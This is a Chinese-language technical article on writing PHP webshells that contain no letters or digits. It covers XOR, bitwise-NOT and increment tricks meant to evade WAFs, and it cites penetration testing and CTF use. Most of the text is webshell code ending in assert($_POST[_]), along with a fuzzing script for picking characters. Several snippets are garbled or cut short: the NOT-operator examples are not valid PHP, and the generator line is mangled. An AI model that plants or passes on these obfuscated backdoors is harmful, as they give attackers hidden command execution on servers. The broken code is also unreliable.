不包含数字字母的WebShell
字数 534 2025-08-18 11:37:20
无数字字母WebShell技术详解
前言
本文详细解析几种不使用数字和字母构造PHP WebShell的技术,这些技术在渗透测试和CTF比赛中非常有用,可以绕过一些简单的WAF检测。
一、使用异或(^)运算构造WebShell
基本原理
PHP中异或运算符(^)可以对字符进行按位异或操作,通过精心选择字符对,可以构造出需要的函数名如"assert"。
实现方式
方法1:直接使用特殊字符
<?php
$_=('特殊字符1'^'`').('特殊字符2'^'`')...('特殊字符n'^'`');
assert($_POST[_]);
方法2:使用chr()函数
<?php
$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`').(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^'`');
assert($_POST[_]);
方法3:使用urldecode
<?php
$_=(urldecode('%01')^'`').(urldecode('%13')^'`')...(urldecode('%09')^'`');
assert($_POST[_]);
二、使用取反(~)运算构造WebShell
基本原理
PHP的取反运算符(~)可以对字符进行按位取反,通过选择特定Unicode字符,可以构造出需要的函数名。
实现方式
基本形式
<?php
$瞰="和"和"的"半"始"俯"瞰"次"站";
assert($_POST[_]);
修改版(适用于SUCTF)
<?php
$瞰)北)的)半)拾)说)小)次)站);
assert($_POST[_]);
FUZZ脚本
<?php
$charset = '"';
for ($i=0; $i < 65536; $i++) {
$charset .= sprintf("\u%04s",dechex($i)); // 生成 \u0000 - \uffff 字符集
}
$charset = json_decode($charset); // json_decode解码格式:json_decode('"xxxxxxxx"')
header('Content-Type: text/html; charset=utf-8');
for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) {
$st = mb_substr($charset, $i,1,'utf-8');
$a = ~($st);
$b = $a[1];
echo $st.' '.$b.'<br>';
}
?>
生成脚本
# generate.php
assert('eval($_POST[phpfile_put_contents('yihuo.php', '<?php assert'.'eval($_POST[');
三、使用自增(++)运算构造WebShell
基本原理
PHP中可以通过字符自增来获得其他字符,从而构造出需要的函数名。
实现方式
<?php
$_=('');
$__=$_;
$_++; // A
$__++; // B
// 继续自增构造需要的字符
assert($_POST[_]);
总结
- 异或运算:通过字符对的异或运算构造目标字符串
- 取反运算:利用Unicode字符的取反结果构造目标字符串
- 自增运算:通过字符自增逐步构造目标字符串
这些技术的关键在于利用PHP的语言特性绕过字符限制,在渗透测试和CTF比赛中具有实际应用价值。